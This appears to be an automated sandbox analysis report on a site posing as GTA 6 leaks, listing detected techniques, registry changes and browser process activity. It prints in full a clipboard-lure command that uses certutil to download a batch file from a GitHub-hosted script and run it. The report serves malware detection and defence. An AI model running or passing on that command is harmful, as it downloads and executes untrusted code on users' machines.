hxxps://gta-six-leaks[.]com/

Resubmissions

17/08/2026, 11:55

260817-n3nv2aap9y10

17/08/2026, 11:35

260817-np4dkabb377

17/08/2026, 11:27

260817-nkjhlaam5110

Analysis

user interaction
yes
max time kernel
148s
max time network
159s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 11:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://gta-six-leaks.com/
Sample260817-np4dkabb37

Score

7^/10

defense_evasion discovery execution

Malware Config

Signatures

Suspicious clipboard content. 1 IoCs

A suspicious script was copied to clipboard.

ioc	Process
cmd /c "certutil -urlcache -split -f https://raw.githubusercontent.com/ruskywhiskey1312/whiskeyscript/refs/heads/main/HJHAGK.bat %temp%h.bat & timeout /t 2 /nobreak >nul & %temp%h.bat"	chrome.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1332	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
38	raw.githubusercontent.com
39	raw.githubusercontent.com
1	raw.githubusercontent.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3084	cmd.exe
4456	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1904	chrome.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
4652	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134314401318961603"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe

Modifies registry class 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	notepad.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Documents"	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Mode = "4"	notepad.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByDirection = "1"	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	notepad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	notepad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupByKey:PID = "0"	notepad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = ffffffff	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1 = 14001f481cffcda87848be43b5fdf8091c1c60d00000	notepad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1092616257"	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\NotificationData	notepad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	notepad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{24ad3ad4-a569-4530-98e1-ab02f9417aa8}\Instance\	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\IconSize = "16"	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	notepad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{f86fa3ab-70d2-4fc7-9c99-fcbf05467f3a}\Instance\	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	notepad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\LogicalViewMode = "1"	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\GroupView = "0"	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\FFlags = "1"	notepad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	notepad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings	notepad.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\NodeSlot = "2"	notepad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	notepad.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3dfdf296-dbec-4fb4-81d1-6a3438bcf4de}\Instance\	notepad.exe
Key created	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg	notepad.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2246396966-3025826688-3847171515-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{7D49D726-3C21-4F05-99AA-FDC2C9474656}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	notepad.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
4268	chrome.exe
4268	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe
Token: SeShutdownPrivilege	6128	chrome.exe
Token: SeCreatePagefilePrivilege	6128	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe
6128	chrome.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4316	notepad.exe
4316	notepad.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 6128 wrote to memory of 5980	6128	chrome.exe	88
PID 6128 wrote to memory of 124	6128	chrome.exe	90
PID 6128 wrote to memory of 124	6128	chrome.exe	90
PID 6128 wrote to memory of 1904	6128	chrome.exe	91
PID 6128 wrote to memory of 4404	6128	chrome.exe	93
PID 6128 wrote to memory of 4404	6128	chrome.exe	93
PID 6128 wrote to memory of 3808	6128	chrome.exe	94
PID 6128 wrote to memory of 708	6128	chrome.exe	95
PID 6128 wrote to memory of 3808	6128	chrome.exe	94
PID 6128 wrote to memory of 708	6128	chrome.exe	95
PID 6128 wrote to memory of 4716	6128	chrome.exe	96
PID 6128 wrote to memory of 1344	6128	chrome.exe	98
PID 6128 wrote to memory of 4196	6128	chrome.exe	97
PID 6128 wrote to memory of 1344	6128	chrome.exe	98
PID 6128 wrote to memory of 4196	6128	chrome.exe	97
PID 6128 wrote to memory of 4652	6128	chrome.exe	102
PID 6128 wrote to memory of 4652	6128	chrome.exe	102
PID 6128 wrote to memory of 4228	6128	chrome.exe	103
PID 6128 wrote to memory of 4228	6128	chrome.exe	103
PID 6128 wrote to memory of 5272	6128	chrome.exe	105
PID 6128 wrote to memory of 5344	6128	chrome.exe	104
PID 6128 wrote to memory of 5272	6128	chrome.exe	105
PID 6128 wrote to memory of 5344	6128	chrome.exe	104
PID 6128 wrote to memory of 3172	6128	chrome.exe	106
PID 6128 wrote to memory of 4600	6128	chrome.exe	107
PID 6128 wrote to memory of 3172	6128	chrome.exe	106
PID 6128 wrote to memory of 4600	6128	chrome.exe	107
PID 6128 wrote to memory of 944	6128	chrome.exe	108
PID 6128 wrote to memory of 944	6128	chrome.exe	108
PID 6128 wrote to memory of 4156	6128	chrome.exe	109
PID 6128 wrote to memory of 4156	6128	chrome.exe	109
PID 6128 wrote to memory of 6120	6128	chrome.exe	112
PID 6128 wrote to memory of 2624	6128	chrome.exe	113
PID 6128 wrote to memory of 5928	6128	chrome.exe	114
PID 4272 wrote to memory of 4316	4272	cmd.exe	117
PID 3084 wrote to memory of 5416	3084	cmd.exe	121
PID 6128 wrote to memory of 4268	6128	chrome.exe	122
PID 3084 wrote to memory of 4652	3084	cmd.exe	123
PID 3084 wrote to memory of 4456	3084	cmd.exe	124

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://gta-six-leaks.com/
1⤵
- Suspicious clipboard content.
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:6128
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffb2475c728,0x7ffb2475c734,0x7ffb2475c740
  2⤵
  PID:5980
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,363727376715164809,10302081584197125397,262144 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=1932 /prefetch:2
  2⤵
  PID:124
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2192,i,17627079339599909734,6248721708366635468,524288 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=2188 /prefetch:11
  2⤵
  - System Time Discovery
  PID:1904
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2328,i,14168343941346946208,1561697632173393299,524288 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=2728 /prefetch:13
  2⤵
  PID:4404
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3232,i,1574681266167448172,2650711644959722714,2097152 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=3256 /prefetch:1
  2⤵
  PID:3808
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3132,i,17202055737002109173,9502527812094997506,2097152 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=3288 /prefetch:1
  2⤵
  PID:708
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4656,i,9354846638258948626,13108382406079822319,524288 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=5244 /prefetch:14
  2⤵
  PID:4716
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5380,i,14155125124215012344,8940841089051309448,2097152 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=5384 /prefetch:1
  2⤵
  PID:4196
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5408,i,2271341332195843606,13688758782461978279,2097152 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:1
  2⤵
  PID:1344
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5672,i,17423282183914440295,1594222746059116334,2097152 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=5432 /prefetch:1
  2⤵
  PID:4652
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5684,i,16411788010304729041,10322939596343645555,2097152 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:1
  2⤵
  PID:4228
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5452,i,887063870716290970,9870062524077337357,2097152 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=5576 /prefetch:1
  2⤵
  PID:5344
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5692,i,13130558818343337708,12165581058706525490,2097152 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=5684 /prefetch:1
  2⤵
  PID:5272
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5704,i,968379178109885513,17193014201023542730,2097152 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=5836 /prefetch:1
  2⤵
  PID:3172
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5872,i,11770246993334119132,10370602405695349822,2097152 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:1
  2⤵
  PID:4600
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5408,i,6048099949378360876,18336658159786385930,2097152 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=5244 /prefetch:1
  2⤵
  PID:944
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=3400,i,6866695708668885308,16821379029965359690,2097152 --field-trial-handle=1936,i,13128933147959813914,16906199083438583096,262144 --variations-seed-version --mojo-platform-channel-handle=5960 /prefetch:1
  2⤵
  PID:4156
- C:\Program Files\Google\Chrome\Application\chrome.exe
